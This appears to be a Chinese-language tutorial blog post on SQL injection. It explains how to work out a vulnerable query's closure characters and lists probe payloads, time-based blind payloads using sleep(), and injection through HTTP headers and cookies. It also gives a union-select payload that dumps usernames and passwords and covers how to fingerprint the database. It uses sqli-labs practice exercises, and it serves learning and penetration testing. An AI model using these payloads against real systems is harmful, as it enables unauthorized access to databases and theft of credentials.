判斷SQL語句閉合方式原理
一般原始碼:
$id=$_GET['id'];
$sql=“SELECT * FROM name WHERE id='$id' LIMIT 0,1”;
我們可以看到,用戶輸入的id是被帶到sql語句中進行拼接,然後執行的,而且,這個id兩邊是被’ ‘(兩個單引號)給閉合起來的,所以在這個代碼里’(單引號)就是閉合符。
由此,若是我們想進行SQL注入,那麽就可以通過給定id一些惡意的數據,讓這些惡意的數據與原SQL語句結合在一起,構成一個新的、惡意的SQL語句,讓這個惡意的SQL語句執行成功,從而達到SQL注入的目的。
MYSQL數據庫的包容性比較強,如果你輸錯了數據的類型,MYSQL數據庫會自動將其轉換成正確的數據類型,比如輸入1)、1"、1-等,只要數字後面的字符不是閉合符的,數據庫都會把你輸入的錯誤的數據轉換成正確的數據類型。
但是,若輸入的數字後面的字符恰好是閉合符,則會形成閉合,若閉合後形成的sql語句是錯誤的,那麽sql語句執行就會錯誤,從而造成頁面顯示錯誤。
範例:
在Mysql數據庫下,代碼如下:
$id=$_GET['id'];
$sql=“SELECT * FROM name WHERE id='$id' LIMIT 0,1”;
可以看到'
(單引號)就是這條語句的閉合符
當,id輸入的是1),那麽拼接成的sql語句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理來說這個sql語句應該是錯誤的,執行會報錯,但是因為是在Mysql數據庫環境下,它會自動把錯誤的數據1)轉換成合法的數據1,從而使得sql語句執行成功,相同的輸入1-、1"也一樣。
相反SqlServer、oracle數據庫對數據類型很嚴格,輸錯數據類型不會自動轉換成正確的數據類型,所以只要輸入的數據類型不正確就會出現報錯信息。以此特性就可以進行bool盲注。
如何判斷SQL注入閉合方式
首先sql的注入可以分為數字類型,字符類型。
方法1:(如果網頁可回顯錯誤訊息)
首先我們可以使用(轉義字符)來判斷SQL注入的閉合方式。
原理,當閉合字符遇到轉義字符時,會被轉義,那麽沒有閉合符的語句就不完整了,就會報錯,通過報錯信息我們就可以推斷出閉合符。
分析報錯信息:看\斜杠後面跟著的字符,是什麽字符,它的閉合字符就是什麽,若是沒有,就為數字型。
可以看一下上圖黃字反藍,反斜線後面就是單引號。
方法2 (網頁不回顯錯誤訊息,但可從網頁判斷注入成功或失敗)
先判斷是否是整型,如果不是整型則為字符型,字符型存在多種情況,需要使用單引號【'】、雙引號【"】、括號【()】多種組合方式進行試探。常見原始碼如'\$id'、"\$id"、('\$id')、("$id")、(('\$id'))。當然,括號想括幾個都沒問題,所以要試。
判斷閉合方式
id=1 and 1=1回顯正常 id=1 and1=2回顯錯誤 => 判斷為整形
id=1' and '1'='1回顯正確id=1' and '1'='2回顯錯誤 => 判斷為【'】閉合
id=1" and "1"="1 回顯正常 id=1" and "1"="2回顯錯誤 =>判斷為【"】閉合
get method閉合payload: (注意--
後面有一個空白,如果想手工打在網址上,--
後面要有一個+
號)
and 1=1 --
and 1=2 --
' and 1=1 --
' and 1=2 --
" and 1=1 --
" and 1=2 --
) and 1=1 --
) and 1=2 --
') and 1=1 --
') and 1=2 --
") and 1=1 --
") and 1=2 --
')) and 1=1 --
')) and 1=2 --
")) and 1=1 --
")) and 1=2 --
} and 1=1 --
} and 1=2 --
使用burp的intruder模組測試sqli-labs 的 less-1的url:
從上面兩圖可以發現只有接單引號這一組頁面有顯示正常跟不正常的。
方法3 (網頁不回顯錯誤訊息,也無法從網頁判斷注入成功或失敗 => 延時盲注)
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //無休眠
?id=1') and sleep(5)--+//無休眠
?id=1") and sleep(5)--+//無休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
更詳細cheat sheet可參照 https://github.com/payloadbox/sql-injection-payload-list 的
Generic Time Based SQL Injection Payloads。
目前想法是可以利用burp的intruder功能來做fuzzing,找到可能有用的字典檔如下:
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt
https://blog.csdn.net/weixin_43167326/article/details/128873597
https://github.com/PenTestical/sqli/blob/main/hugeSQL.txt
另外,一個比較特別的sql injection檢測方式如下:
https://www.freebuf.com/articles/web/284680.html
注入點可能位置
get注入
在get傳參時寫入參數,將SQl語句閉合,後面加寫入自己的SQL語句。post注入
通過post傳參,原理與get一樣,重要的是判斷我們所輸入的信息是否與數據庫產生交互,其次判斷SQL語句是如何閉合的。Referer注入
Referer正確寫法應該是Referrer,因為http規定時寫錯只能將錯就錯,有些網站會記錄ip和訪問路徑,例如百度就是通過Referer來統計網站流量,我們將訪問路徑進行SQL注入,同樣也可以得到想要的信息。XFF注入
在用戶登錄注冊模塊在 HTTP 頭信息添加 X-Forwarded-for: 9.9.9.9' ,用戶在注冊的時候,如果存在安全隱 患,會出現錯誤頁面或者報錯。從而導致注冊或者登錄用戶失敗。burpsuite 抓包,提交輸入檢測語句:
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
兩次提交返回不一樣,存在 SQL 注入漏洞。
- cookie注入
有些網站通過查詢cookie判斷用戶是否登錄,需要與數據庫進行交互,我們可以修改cookie的值,查找我們所需要的東西。或者通過報錯注入是網頁返回報錯信息。
- UA注入
輸入點在User-Agent
為什麽閉合這麽重要
sql注入,我們要注入到自己的sql語句,如果注入後,破壞了原有的閉合,那麽注入也會失敗,所以閉合很重要,決定了最後是否可以注入成功。
閉合後成功注入實例:
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$id = 1' 0r 1=1 --+ --+ 注釋'後面的數據
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
註釋若被過濾,可以把註釋替換成|| 閉合符號 1
。閉合符號,比如說原始碼是('id')
,那麼就應該是('
。
原始碼也可能長的比較複雜。比如說
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
後面多了一個LIMIT,可能就不一樣。這時的閉合可以明顯看出是用'
,但如果有濾掉註釋符號時,用以下語句代替可能還是無法顯示帳密:
-1' union select null,group_concat(username),group_concat(password) FROM users or'
可以試試在users後面多一個 where 1=1,那麼整個查詢語句變成:
"SELECT * FROM users WHERE id='-1' union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1 or'' LIMIT 0,1"
另外要注意,有時候id要是資料庫沒有的數字才能正常查詢。
判斷資料庫類型
常見數據庫如:MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等。目前來說,企業使用MSSQL即SQLserver的數量最多,MySQL其次,Oracle再次。除此之外的幾個常見數據庫如 Access、PostgreSQL、db2則要少的多的多。
常用SQL注入判斷數據庫方法
● 使用數據庫特有的函數來判斷
● 使用數據庫專屬符號來判斷,如注釋符號、多語句查詢符等等
● 報錯信息判斷
● 數據庫特性判斷
各資料庫對應port
如果可以對主機進行端口掃描,可以根據是否開啟對應端口,來大概判斷數據庫類型。
Oracle默認端口號:1521
SQL Server默認端口號:1433
MySQL默認端口號:3306
PostgreSql默認端口號:5432
網站類型與數據庫的聯系
asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
根據注釋符判斷
“#”是MySQL中的注釋符,返回錯誤說明該注入點可能不是MySQL,另外也支持’-- ',和/ /注釋(注意mysql使用-- 時需要後面添加空格)
“null”和“%00”是Access支持的注釋。
“--”是Oracle、PostgreSQL, SQLite & SQL Server支持的注釋符,如果返回正常,則說明為這兩種數據庫類型之一。所以MySQL、Oracle和MSSQL都可以用--+。
“;”是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數據庫。
Reference
https://blog.csdn.net/weixin_46634468/article/details/120480080
https://blog.csdn.net/m0_37638874/article/details/125497513
https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html
https://zhuanlan.zhihu.com/p/625412460
https://coggle.it/diagram/WTpCoTUhXQABa2wg/t/sql%E6%B3%A8%E5%85%A5%E6%B5%8B%E8%AF%95%E6%B5%81%E7%A8%8B%E5%9B%BE
https://www.spade-z.com/archives/e73517db.html
https://developer.aliyun.com/article/1169000
https://www.sqlsec.com/2018/01/select.html